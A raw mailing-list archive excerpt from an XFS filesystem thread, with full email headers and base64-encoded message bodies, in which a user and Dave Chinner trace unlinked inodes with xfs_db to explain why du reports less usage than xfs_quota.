X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1445411613 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23680 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 21, 2015 at 02:37:04PM +0800, YeYin wrote: > > Is anything mounted under that directory hierarchy, and hiding files from du's view? > > > No, Thanks. I found some unlinked inodes, but I can't get some useful information: > > > # xfs_db -xr -c 'agi 1' -c p /dev/sda4 .... > unlinked[0-63] = 0:78272 .... > # xfs_db -xr -c 'inode 78272' -c p /dev/sda4 That's because 78272 isn't an real inode number. It's a AG relative inode number ("agino") of 78272. The global inode number folds in the AG number to it, and this is from AG 1. So: xfs_db> convert agno 1 agino 78272 ino xfs_db> inode xfs_db> p .... Cheers, Dave. -- Dave Chinner david@fromorbit.com From eyniy@qq.com Wed Oct 21 03:09:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7FAEB7F37 for ; Wed, 21 Oct 2015 03:09:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 60A7F8F8035 for ; Wed, 21 Oct 2015 01:09:53 -0700 (PDT) X-ASG-Debug-ID: 1445414989-04cbb035ab127430001-NocioJ Received: from smtpbg202.qq.com (smtpbg202.qq.com [184.105.206.29]) by cuda.sgi.com with ESMTP id bUcLtXTE4WZ6zla2 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Oct 2015 01:09:50 -0700 (PDT) X-Barracuda-Envelope-From: eyniy@qq.com X-Barracuda-Apparent-Source-IP: 184.105.206.29 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qq.com; s=s201307; t=1445414963; bh=s7lillCd24R1Cg6icaG9YFPqCeRYjpeBzRp6kPVAtD8=; h=In-Reply-To:References:From:To:Cc:Subject:Mime-Version:Content-Type:Content-Transfer-Encoding:Date:Message-ID; b=gIla4/ZhDbz2P4EcMAAEntbAhnNDj5U7FLqWcZLF1aFqBA60eyrIHEklMmQHsTrwE aVnocv/PcoEVLhKqeIpUwJA3UPI5EDO0tlKCwSax6fEgb0ZqAFdlv/JHs+4grn/tU6 Twl1oXTtviHCAcQOfl3mpghnLYNy1FJwoDRPwniQ= X-QQ-FEAT: wI/Tk3zSXyeYPKiOb1izS8UygKECaB77NEaeSZ5DdAidIkIBm4jVFSJdZ26HT js4DZmEj9oK0GVMw9KtREotxtZX4eQkl/FwIYg/STVyWyA4D9GSZRxI9f9K8Z/tBtquPpDY KNbjEY4zHKxMhSCpEvLSCWE6Ak8M8sKwWe2TUsOWuBZAovy/ifpZeglk6jCKFDrN2o+kdgE /5zHIWAEjBd6siKhThQUYibYkZe0ISw3kVNNZk3tbPTU+D4kGecYXRzuwW7cf6daqj/HC+8 CAWQ== X-QQ-SSF: 000000000000007000000000000000Z X-HAS-ATTACH: no X-QQ-BUSINESS-ORIGIN: 2 X-Originating-IP: 59.37.90.108 In-Reply-To: <20151021071331.GD19199@dastard> References: <0952A0E9-F360-46CE-BE7A-1B8473700F08@sandeen.net> <20151021071331.GD19199@dastard> X-QQ-STYLE: X-QQ-mid: webmail661t1445414960t3191703 From: "=?ISO-8859-1?B?WWVZaW4=?=" To: "=?ISO-8859-1?B?RGF2ZSBDaGlubmVy?=" Cc: "=?ISO-8859-1?B?RXJpYyBTYW5kZWVu?=" , "=?ISO-8859-1?B?eGZz?=" Subject: Re: du result is smaller than xfs_quota report Mime-Version: 1.0 X-ASG-Orig-Subj: Re: du result is smaller than xfs_quota report Content-Type: multipart/alternative; boundary="----=_NextPart_56274830_09A00FF0_4D1EC2C6" Content-Transfer-Encoding: 8Bit Date: Wed, 21 Oct 2015 16:09:20 +0800 X-Priority: 3 Message-ID: X-QQ-MIME: TCMime 1.0 by Tencent X-Mailer: QQMail 2.x X-QQ-Mailer: QQMail 2.x X-QQ-ReplyHash: 487960199 X-QQ-SENDSIZE: 520 X-QQ-Bgrelay: 1 X-Barracuda-Connect: smtpbg202.qq.com[184.105.206.29] X-Barracuda-Start-Time: 1445414990 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.06 X-Barracuda-Spam-Status: No, SCORE=1.06 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23681 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily This is a multi-part message in MIME format. ------=_NextPart_56274830_09A00FF0_4D1EC2C6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: base64 SGksIERhdmUsDQpUaGFuayB5b3UgdmVyeSBtdWNoLiBJIGdvdCBzb21lIHJlc3VsdHM6DQoj IHhmc19kYiAteHIgIC9kZXYvc2RhNCAgICAgICAgICAgICAgICAgICAgICAgIA0KeGZzX2Ri PiBjb252ZXJ0IGFnbm8gMSBhZ2lubyA3ODI3MiBpbm8NCjB4ODAwMTMxYzAgKDIxNDc1NjE5 MjApDQp4ZnNfZGI+IGlub2RlIDIxNDc1NjE5MjANCnhmc19kYj4gcA0KY29yZS5tYWdpYyA9 IDB4NDk0ZQ0KY29yZS5tb2RlID0gMDEwMDYwMA0KY29yZS52ZXJzaW9uID0gMg0KY29yZS5m b3JtYXQgPSAyIChleHRlbnRzKQ0KY29yZS5ubGlua3YyID0gMA0KY29yZS5vbmxpbmsgPSAw DQpjb3JlLnByb2ppZF9sbyA9IDI2Mjg2DQpjb3JlLnByb2ppZF9oaSA9IDANCmNvcmUudWlk ID0gMzAwMDANCmNvcmUuZ2lkID0gMTAwDQpjb3JlLmZsdXNoaXRlciA9IDMwDQpjb3JlLmF0 aW1lLnNlYyA9IFR1ZSBPY3QgMjAgMTM6NTE6NTggMjAxNQ0KY29yZS5hdGltZS5uc2VjID0g MTA0OTM4OTU2DQpjb3JlLm10aW1lLnNlYyA9IFR1ZSBPY3QgMjAgMTM6NTM6NTggMjAxNQ0K Y29yZS5tdGltZS5uc2VjID0gODI0OTQxNDU1DQpjb3JlLmN0aW1lLnNlYyA9IFR1ZSBPY3Qg MjAgMTQ6MjE6NTkgMjAxNQ0KY29yZS5jdGltZS5uc2VjID0gMDYyNjYwMjI3DQpjb3JlLnNp emUgPSA0MTA0MTkyMA0KY29yZS5uYmxvY2tzID0gMTAwMjANCmNvcmUuZXh0c2l6ZSA9IDAN CmNvcmUubmV4dGVudHMgPSAyDQpjb3JlLm5hZXh0ZW50cyA9IDANCmNvcmUuZm9ya29mZiA9 IDANCmNvcmUuYWZvcm1hdCA9IDIgKGV4dGVudHMpDQpjb3JlLmRtZXZtYXNrID0gMA0KY29y ZS5kbXN0YXRlID0gMA0KY29yZS5uZXdydGJtID0gMA0KY29yZS5wcmVhbGxvYyA9IDANCmNv cmUucmVhbHRpbWUgPSAwDQpjb3JlLmltbXV0YWJsZSA9IDANCmNvcmUuYXBwZW5kID0gMA0K Y29yZS5zeW5jID0gMA0KY29yZS5ub2F0aW1lID0gMA0KY29yZS5ub2R1bXAgPSAwDQpjb3Jl LnJ0aW5oZXJpdCA9IDANCmNvcmUucHJvamluaGVyaXQgPSAxDQpjb3JlLm5vc3ltbGlua3Mg PSAwDQpjb3JlLmV4dHN6ID0gMA0KY29yZS5leHRzemluaGVyaXQgPSAwDQpjb3JlLm5vZGVm cmFnID0gMA0KY29yZS5maWxlc3RyZWFtID0gMA0KY29yZS5nZW4gPSAxMTk0Nzc3MDA4DQpu ZXh0X3VubGlua2VkID0gNzU3MTINCnUuYm14WzAtMV0gPSBbc3RhcnRvZmYsc3RhcnRibG9j ayxibG9ja2NvdW50LGV4dGVudGZsYWddIDA6WzAsMTM1MzMwODgyLDMyLDBdIDE6WzMyLDE0 NjExNzQxMCw5OTg4LDBdDQoNCg0KDQoNCg0KSG93ZXZlciwgSSB3YW50IHRvIGFzayBob3cg dGhpcyBzaXR1YXRpb24gdG8gaGFwcGVuPw0KDQoNCkZyb20gdGhlIG91dHB1dCwgIHdlIGNh biBzZWUgImNvcmUubmxpbmt2MiA9IDAiLiBCdXQgSSBjYW4ndCByZWFwcGVyIHRoaXM6DQoN Cg0KIyBkZCBpZj0vZGV2L3plcm8gb2Y9L2RhdGEvdGVzdC5kYXRhIGJzPTRrIGNvdW50PTEw MjQNCjEwMjQrMCByZWNvcmRzIGluDQoxMDI0KzAgcmVjb3JkcyBvdXQNCjQxOTQzMDQgYnl0 ZXMgKDQuMiBNQikgY29waWVkLCAwLjAwNDc2OTQ2IHMsIDg3OSBNQi9zDQoNCg0KIyBzdGF0 IC9kYXRhL3Rlc3QuZGF0YSANCiAgRmlsZTogYC9kYXRhL3Rlc3QuZGF0YScNCiAgU2l6ZTog NDE5NDMwNCAgICAgICAgIEJsb2NrczogODE5MiAgICAgICBJTyBCbG9jazogNDA5NiAgIHJl Z3VsYXIgZmlsZQ0KRGV2aWNlOiA4MDRoLzIwNTJkICAgICAgSW5vZGU6IDI5NDA5Mjk1ICAg IExpbmtzOiAxDQpBY2Nlc3M6ICgwNjQ0Ly1ydy1yLS1yLS0pICBVaWQ6ICggICAgMC8gICAg cm9vdCkgICBHaWQ6ICggICAgMC8gICAgcm9vdCkNCkFjY2VzczogMjAxNS0xMC0yMSAxNjow NTo0NS4yMDE2NzkwMTggKzA4MDANCk1vZGlmeTogMjAxNS0xMC0yMSAxNjowNTo0NS4yMDU2 NzkwMTggKzA4MDANCkNoYW5nZTogMjAxNS0xMC0yMSAxNjowNTo0NS4yMDU2NzkwMTggKzA4 MDANCg0KDQojIHhmc19kYiAteHIgLWMgJ2lub2RlIDI5NDA5Mjk1JyAtYyBwIC9kZXYvc2Rh NCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpjb3JlLm1hZ2ljID0g MHg0OTRlDQpjb3JlLm1vZGUgPSAwMTAwNjQ0DQpjb3JlLnZlcnNpb24gPSAyDQpjb3JlLmZv cm1hdCA9IDIgKGV4dGVudHMpDQpjb3JlLm5saW5rdjIgPSAxDQpjb3JlLm9ubGluayA9IDAN CmNvcmUucHJvamlkX2xvID0gMA0KY29yZS5wcm9qaWRfaGkgPSAwDQpjb3JlLnVpZCA9IDAN CmNvcmUuZ2lkID0gMA0KY29yZS5mbHVzaGl0ZXIgPSAxMg0KY29yZS5hdGltZS5zZWMgPSBX ZWQgT2N0IDIxIDE2OjA1OjQ1IDIwMTUNCmNvcmUuYXRpbWUubnNlYyA9IDIwMTY3OTAxOA0K Y29yZS5tdGltZS5zZWMgPSBXZWQgT2N0IDIxIDE2OjA1OjQ1IDIwMTUNCmNvcmUubXRpbWUu bnNlYyA9IDIwNTY3OTAxOA0KY29yZS5jdGltZS5zZWMgPSBXZWQgT2N0IDIxIDE2OjA1OjQ1 IDIwMTUNCmNvcmUuY3RpbWUubnNlYyA9IDIwNTY3OTAxOA0KY29yZS5zaXplID0gNDE5NDMw NA0KY29yZS5uYmxvY2tzID0gMTAyNA0KY29yZS5leHRzaXplID0gMA0KY29yZS5uZXh0ZW50 cyA9IDENCmNvcmUubmFleHRlbnRzID0gMA0KY29yZS5mb3Jrb2ZmID0gMA0KY29yZS5hZm9y bWF0ID0gMiAoZXh0ZW50cykNCmNvcmUuZG1ldm1hc2sgPSAwDQpjb3JlLmRtc3RhdGUgPSAw DQpjb3JlLm5ld3J0Ym0gPSAwDQpjb3JlLnByZWFsbG9jID0gMA0KY29yZS5yZWFsdGltZSA9 IDANCmNvcmUuaW1tdXRhYmxlID0gMA0KY29yZS5hcHBlbmQgPSAwDQpjb3JlLnN5bmMgPSAw DQpjb3JlLm5vYXRpbWUgPSAwDQpjb3JlLm5vZHVtcCA9IDANCmNvcmUucnRpbmhlcml0ID0g MA0KY29yZS5wcm9qaW5oZXJpdCA9IDANCmNvcmUubm9zeW1saW5rcyA9IDANCmNvcmUuZXh0 c3ogPSAwDQpjb3JlLmV4dHN6aW5oZXJpdCA9IDANCmNvcmUubm9kZWZyYWcgPSAwDQpjb3Jl LmZpbGVzdHJlYW0gPSAwDQpjb3JlLmdlbiA9IDM3MjI3MzkxNTUNCm5leHRfdW5saW5rZWQg PSBudWxsDQp1LmJteFswXSA9IFtzdGFydG9mZixzdGFydGJsb2NrLGJsb2NrY291bnQsZXh0 ZW50ZmxhZ10gMDpbMCw1OTQzMjM1LDEwMjQsMF0NCg0KDQojIHRhaWwgLWYgL2RhdGEvdGVz dC5kYXRhICYNClsxXSAyNzU5OA0KIyB1bmxpbmsgL2RhdGEvdGVzdC5kYXRhIA0KDQoNCiMg eGZzX2RiIC14ciAtYyAnaW5vZGUgMjk0MDkyOTUnIC1jIHAgL2Rldi9zZGE0DQpjb3JlLm1h Z2ljID0gMHg0OTRlDQpjb3JlLm1vZGUgPSAwMTAwNjQ0DQpjb3JlLnZlcnNpb24gPSAyDQpj b3JlLmZvcm1hdCA9IDIgKGV4dGVudHMpDQpjb3JlLm5saW5rdjIgPSAxDQpjb3JlLm9ubGlu ayA9IDANCmNvcmUucHJvamlkX2xvID0gMA0KY29yZS5wcm9qaWRfaGkgPSAwDQpjb3JlLnVp ZCA9IDANCmNvcmUuZ2lkID0gMA0KY29yZS5mbHVzaGl0ZXIgPSAxMg0KY29yZS5hdGltZS5z ZWMgPSBXZWQgT2N0IDIxIDE2OjA1OjQ1IDIwMTUNCmNvcmUuYXRpbWUubnNlYyA9IDIwMTY3 OTAxOA0KY29yZS5tdGltZS5zZWMgPSBXZWQgT2N0IDIxIDE2OjA1OjQ1IDIwMTUNCmNvcmUu bXRpbWUubnNlYyA9IDIwNTY3OTAxOA0KY29yZS5jdGltZS5zZWMgPSBXZWQgT2N0IDIxIDE2 OjA1OjQ1IDIwMTUNCmNvcmUuY3RpbWUubnNlYyA9IDIwNTY3OTAxOA0KY29yZS5zaXplID0g NDE5NDMwNA0KY29yZS5uYmxvY2tzID0gMTAyNA0KY29yZS5leHRzaXplID0gMA0KY29yZS5u ZXh0ZW50cyA9IDENCmNvcmUubmFleHRlbnRzID0gMA0KY29yZS5mb3Jrb2ZmID0gMA0KY29y ZS5hZm9ybWF0ID0gMiAoZXh0ZW50cykNCmNvcmUuZG1ldm1hc2sgPSAwDQpjb3JlLmRtc3Rh dGUgPSAwDQpjb3JlLm5ld3J0Ym0gPSAwDQpjb3JlLnByZWFsbG9jID0gMA0KY29yZS5yZWFs dGltZSA9IDANCmNvcmUuaW1tdXRhYmxlID0gMA0KY29yZS5hcHBlbmQgPSAwDQpjb3JlLnN5 bmMgPSAwDQpjb3JlLm5vYXRpbWUgPSAwDQpjb3JlLm5vZHVtcCA9IDANCmNvcmUucnRpbmhl cml0ID0gMA0KY29yZS5wcm9qaW5oZXJpdCA9IDANCmNvcmUubm9zeW1saW5rcyA9IDANCmNv cmUuZXh0c3ogPSAwDQpjb3JlLmV4dHN6aW5oZXJpdCA9IDANCmNvcmUubm9kZWZyYWcgPSAw DQpjb3JlLmZpbGVzdHJlYW0gPSAwDQpjb3JlLmdlbiA9IDM3MjI3MzkxNTUNCm5leHRfdW5s aW5rZWQgPSBudWxsDQp1LmJteFswXSA9IFtzdGFydG9mZixzdGFydGJsb2NrLGJsb2NrY291 bnQsZXh0ZW50ZmxhZ10gMDpbMCw1OTQzMjM1LDEwMjQsMF0NCg0KDQoNCkFzIHdlIGNhbiBz ZWUsIGNvcmUubmxpbmt2MiBpcyBzdGlsbCAiMSIgYWZ0ZXIgSSB1bmxpbmsgL2RhdGEvdGVz dC5kYXRhLg0KDQoNClRoYW5rcywNClllDQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tIE9yaWdp bmFsIC0tLS0tLS0tLS0tLS0tLS0tLQ0KRnJvbTogICJEYXZlIENoaW5uZXIiOzxkYXZpZEBm cm9tb3JiaXQuY29tPjsNCkRhdGU6ICBXZWQsIE9jdCAyMSwgMjAxNSAwMzoxMyBQTQ0KVG86 ICAiWWVZaW4iPGV5bml5QHFxLmNvbT47IA0KQ2M6ICAiRXJpYyBTYW5kZWVuIjxzYW5kZWVu QHNhbmRlZW4ubmV0PjsgInhmcyI8eGZzQG9zcy5zZ2kuY29tPjsgDQpTdWJqZWN0OiAgUmU6 IGR1IHJlc3VsdCBpcyBzbWFsbGVyIHRoYW4geGZzX3F1b3RhIHJlcG9ydA0KDQoNCg0KT24g V2VkLCBPY3QgMjEsIDIwMTUgYXQgMDI6Mzc6MDRQTSArMDgwMCwgWWVZaW4gd3JvdGU6DQo+ ID4gSXMgYW55dGhpbmcgbW91bnRlZCB1bmRlciB0aGF0IGRpcmVjdG9yeSBoaWVyYXJjaHks IGFuZCBoaWRpbmcgZmlsZXMgZnJvbSBkdSdzIHZpZXc/DQo+IA0KPiANCj4gTm8sIFRoYW5r cy4gSSBmb3VuZCBzb21lIHVubGlua2VkIGlub2RlcywgYnV0IEkgY2FuJ3QgZ2V0IHNvbWUg dXNlZnVsIGluZm9ybWF0aW9uOg0KPiANCj4gDQo+ICMgeGZzX2RiIC14ciAtYyAnYWdpIDEn IC1jIHAgL2Rldi9zZGE0ICANCi4uLi4NCj4gdW5saW5rZWRbMC02M10gPSAwOjc4MjcyIC4u Li4NCg0KPiAjIHhmc19kYiAteHIgLWMgJ2lub2RlIDc4MjcyJyAtYyBwIC9kZXYvc2RhNA0K DQpUaGF0J3MgYmVjYXVzZSA3ODI3MiBpc24ndCBhbiByZWFsIGlub2RlIG51bWJlci4gSXQn cyBhIEFHIHJlbGF0aXZlDQppbm9kZSBudW1iZXIgKCJhZ2lubyIpIG9mIDc4MjcyLiBUaGUg Z2xvYmFsIGlub2RlIG51bWJlciBmb2xkcyBpbg0KdGhlIEFHIG51bWJlciB0byBpdCwgYW5k IHRoaXMgaXMgZnJvbSBBRyAxLiBTbzoNCg0KeGZzX2RiPiBjb252ZXJ0IGFnbm8gMSBhZ2lu byA3ODI3MiBpbm8NCjxpbnVtPg0KeGZzX2RiPiBpbm9kZSA8aW51bT4NCnhmc19kYj4gcA0K Li4uLg0KDQpDaGVlcnMsDQoNCkRhdmUuDQotLSANCkRhdmUgQ2hpbm5lcg0KZGF2aWRAZnJv bW9yYml0LmNvbQ== ------=_NextPart_56274830_09A00FF0_4D1EC2C6 Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: base64 PGRpdj5IaSwgRGF2ZSw8L2Rpdj48ZGl2PlRoYW5rIHlvdSB2ZXJ5IG11Y2guIEkgZ290IHNv bWUgcmVzdWx0czo8L2Rpdj48ZGl2PjxkaXY+IyB4ZnNfZGIgLXhyICZuYnNwOy9kZXYvc2Rh NCAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5i c3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOzwvZGl2PjxkaXY+eGZzX2RiJmd0OyBj b252ZXJ0IGFnbm8gMSBhZ2lubyA3ODI3MiBpbm88L2Rpdj48ZGl2PjB4ODAwMTMxYzAgKDIx NDc1NjE5MjApPC9kaXY+PGRpdj54ZnNfZGImZ3Q7IGlub2RlIDIxNDc1NjE5MjA8L2Rpdj48 ZGl2Pnhmc19kYiZndDsgcDwvZGl2PjxkaXY+Y29yZS5tYWdpYyA9IDB4NDk0ZTwvZGl2Pjxk aXY+Y29yZS5tb2RlID0gMDEwMDYwMDwvZGl2PjxkaXY+Y29yZS52ZXJzaW9uID0gMjwvZGl2 PjxkaXY+Y29yZS5mb3JtYXQgPSAyIChleHRlbnRzKTwvZGl2PjxkaXY+Y29yZS5ubGlua3Yy ID0gMDwvZGl2PjxkaXY+Y29yZS5vbmxpbmsgPSAwPC9kaXY+PGRpdj5jb3JlLnByb2ppZF9s byA9IDI2Mjg2PC9kaXY+PGRpdj5jb3JlLnByb2ppZF9oaSA9IDA8L2Rpdj48ZGl2PmNvcmUu dWlkID0gMzAwMDA8L2Rpdj48ZGl2PmNvcmUuZ2lkID0gMTAwPC9kaXY+PGRpdj5jb3JlLmZs dXNoaXRlciA9IDMwPC9kaXY+PGRpdj5jb3JlLmF0aW1lLnNlYyA9IFR1ZSBPY3QgMjAgMTM6 NTE6NTggMjAxNTwvZGl2PjxkaXY+Y29yZS5hdGltZS5uc2VjID0gMTA0OTM4OTU2PC9kaXY+ PGRpdj5jb3JlLm10aW1lLnNlYyA9IFR1ZSBPY3QgMjAgMTM6NTM6NTggMjAxNTwvZGl2Pjxk aXY+Y29yZS5tdGltZS5uc2VjID0gODI0OTQxNDU1PC9kaXY+PGRpdj5jb3JlLmN0aW1lLnNl YyA9IFR1ZSBPY3QgMjAgMTQ6MjE6NTkgMjAxNTwvZGl2PjxkaXY+Y29yZS5jdGltZS5uc2Vj ID0gMDYyNjYwMjI3PC9kaXY+PGRpdj5jb3JlLnNpemUgPSA0MTA0MTkyMDwvZGl2PjxkaXY+ Y29yZS5uYmxvY2tzID0gMTAwMjA8L2Rpdj48ZGl2PmNvcmUuZXh0c2l6ZSA9IDA8L2Rpdj48 ZGl2PmNvcmUubmV4dGVudHMgPSAyPC9kaXY+PGRpdj5jb3JlLm5hZXh0ZW50cyA9IDA8L2Rp dj48ZGl2PmNvcmUuZm9ya29mZiA9IDA8L2Rpdj48ZGl2PmNvcmUuYWZvcm1hdCA9IDIgKGV4 dGVudHMpPC9kaXY+PGRpdj5jb3JlLmRtZXZtYXNrID0gMDwvZGl2PjxkaXY+Y29yZS5kbXN0 YXRlID0gMDwvZGl2PjxkaXY+Y29yZS5uZXdydGJtID0gMDwvZGl2PjxkaXY+Y29yZS5wcmVh bGxvYyA9IDA8L2Rpdj48ZGl2PmNvcmUucmVhbHRpbWUgPSAwPC9kaXY+PGRpdj5jb3JlLmlt bXV0YWJsZSA9IDA8L2Rpdj48ZGl2PmNvcmUuYXBwZW5kID0gMDwvZGl2PjxkaXY+Y29yZS5z eW5jID0gMDwvZGl2PjxkaXY+Y29yZS5ub2F0aW1lID0gMDwvZGl2PjxkaXY+Y29yZS5ub2R1 bXAgPSAwPC9kaXY+PGRpdj5jb3JlLnJ0aW5oZXJpdCA9IDA8L2Rpdj48ZGl2PmNvcmUucHJv amluaGVyaXQgPSAxPC9kaXY+PGRpdj5jb3JlLm5vc3ltbGlua3MgPSAwPC9kaXY+PGRpdj5j b3JlLmV4dHN6ID0gMDwvZGl2PjxkaXY+Y29yZS5leHRzemluaGVyaXQgPSAwPC9kaXY+PGRp dj5jb3JlLm5vZGVmcmFnID0gMDwvZGl2PjxkaXY+Y29yZS5maWxlc3RyZWFtID0gMDwvZGl2 PjxkaXY+Y29yZS5nZW4gPSAxMTk0Nzc3MDA4PC9kaXY+PGRpdj5uZXh0X3VubGlua2VkID0g NzU3MTI8L2Rpdj48ZGl2PnUuYm14WzAtMV0gPSBbc3RhcnRvZmYsc3RhcnRibG9jayxibG9j a2NvdW50LGV4dGVudGZsYWddIDA6WzAsMTM1MzMwODgyLDMyLDBdIDE6WzMyLDE0NjExNzQx MCw5OTg4LDBdPC9kaXY+PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRp dj48ZGl2Pkhvd2V2ZXIsIEkgd2FudCB0byBhc2sgaG93IHRoaXMgc2l0dWF0aW9uIHRvIGhh cHBlbj88L2Rpdj48ZGl2Pjxicj48L2Rpdj48ZGl2PkZyb20gdGhlIG91dHB1dCwgJm5ic3A7 d2UgY2FuIHNlZSAiPHNwYW4gc3R5bGU9ImxpbmUtaGVpZ2h0OiAxLjU7Ij5jb3JlLm5saW5r djIgPSAwIi4gQnV0IEkgY2FuJ3QgcmVhcHBlciB0aGlzOjwvc3Bhbj48L2Rpdj48ZGl2Pjxz cGFuIHN0eWxlPSJsaW5lLWhlaWdodDogMS41OyI+PGJyPjwvc3Bhbj48L2Rpdj48ZGl2Pjxz cGFuIHN0eWxlPSJsaW5lLWhlaWdodDogMS41OyI+PGRpdj4jIGRkIGlmPS9kZXYvemVybyBv Zj0vZGF0YS90ZXN0LmRhdGEgYnM9NGsgY291bnQ9MTAyNDwvZGl2PjxkaXY+MTAyNCswIHJl Y29yZHMgaW48L2Rpdj48ZGl2PjEwMjQrMCByZWNvcmRzIG91dDwvZGl2PjxkaXY+NDE5NDMw NCBieXRlcyAoNC4yIE1CKSBjb3BpZWQsIDAuMDA0NzY5NDYgcywgODc5IE1CL3M8L2Rpdj48 ZGl2Pjxicj48L2Rpdj48ZGl2PiMgc3RhdCAvZGF0YS90ZXN0LmRhdGEmbmJzcDs8L2Rpdj48 ZGl2PiZuYnNwOyBGaWxlOiBgL2RhdGEvdGVzdC5kYXRhJzwvZGl2PjxkaXY+Jm5ic3A7IFNp emU6IDQxOTQzMDQgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7IEJsb2NrczogODE5MiAm bmJzcDsgJm5ic3A7ICZuYnNwOyBJTyBCbG9jazogNDA5NiAmbmJzcDsgcmVndWxhciBmaWxl PC9kaXY+PGRpdj5EZXZpY2U6IDgwNGgvMjA1MmQgJm5ic3A7ICZuYnNwOyAmbmJzcDtJbm9k ZTogMjk0MDkyOTUgJm5ic3A7ICZuYnNwO0xpbmtzOiAxPC9kaXY+PGRpdj5BY2Nlc3M6ICgw NjQ0Ly1ydy1yLS1yLS0pICZuYnNwO1VpZDogKCAmbmJzcDsgJm5ic3A7MC8gJm5ic3A7ICZu YnNwO3Jvb3QpICZuYnNwOyBHaWQ6ICggJm5ic3A7ICZuYnNwOzAvICZuYnNwOyAmbmJzcDty b290KTwvZGl2PjxkaXY+QWNjZXNzOiAyMDE1LTEwLTIxIDE2OjA1OjQ1LjIwMTY3OTAxOCAr MDgwMDwvZGl2PjxkaXY+TW9kaWZ5OiAyMDE1LTEwLTIxIDE2OjA1OjQ1LjIwNTY3OTAxOCAr MDgwMDwvZGl2PjxkaXY+Q2hhbmdlOiAyMDE1LTEwLTIxIDE2OjA1OjQ1LjIwNTY3OTAxOCAr MDgwMDwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+IyB4ZnNfZGIgLXhyIC1jICdpbm9kZSAy OTQwOTI5NScgLWMgcCAvZGV2L3NkYTQgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZu YnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsg Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7PC9kaXY+ PGRpdj5jb3JlLm1hZ2ljID0gMHg0OTRlPC9kaXY+PGRpdj5jb3JlLm1vZGUgPSAwMTAwNjQ0 PC9kaXY+PGRpdj5jb3JlLnZlcnNpb24gPSAyPC9kaXY+PGRpdj5jb3JlLmZvcm1hdCA9IDIg KGV4dGVudHMpPC9kaXY+PGRpdj5jb3JlLm5saW5rdjIgPSAxPC9kaXY+PGRpdj5jb3JlLm9u bGluayA9IDA8L2Rpdj48ZGl2PmNvcmUucHJvamlkX2xvID0gMDwvZGl2PjxkaXY+Y29yZS5w cm9qaWRfaGkgPSAwPC9kaXY+PGRpdj5jb3JlLnVpZCA9IDA8L2Rpdj48ZGl2PmNvcmUuZ2lk ID0gMDwvZGl2PjxkaXY+Y29yZS5mbHVzaGl0ZXIgPSAxMjwvZGl2PjxkaXY+Y29yZS5hdGlt ZS5zZWMgPSBXZWQgT2N0IDIxIDE2OjA1OjQ1IDIwMTU8L2Rpdj48ZGl2PmNvcmUuYXRpbWUu bnNlYyA9IDIwMTY3OTAxODwvZGl2PjxkaXY+Y29yZS5tdGltZS5zZWMgPSBXZWQgT2N0IDIx IDE2OjA1OjQ1IDIwMTU8L2Rpdj48ZGl2PmNvcmUubXRpbWUubnNlYyA9IDIwNTY3OTAxODwv ZGl2PjxkaXY+Y29yZS5jdGltZS5zZWMgPSBXZWQgT2N0IDIxIDE2OjA1OjQ1IDIwMTU8L2Rp dj48ZGl2PmNvcmUuY3RpbWUubnNlYyA9IDIwNTY3OTAxODwvZGl2PjxkaXY+Y29yZS5zaXpl 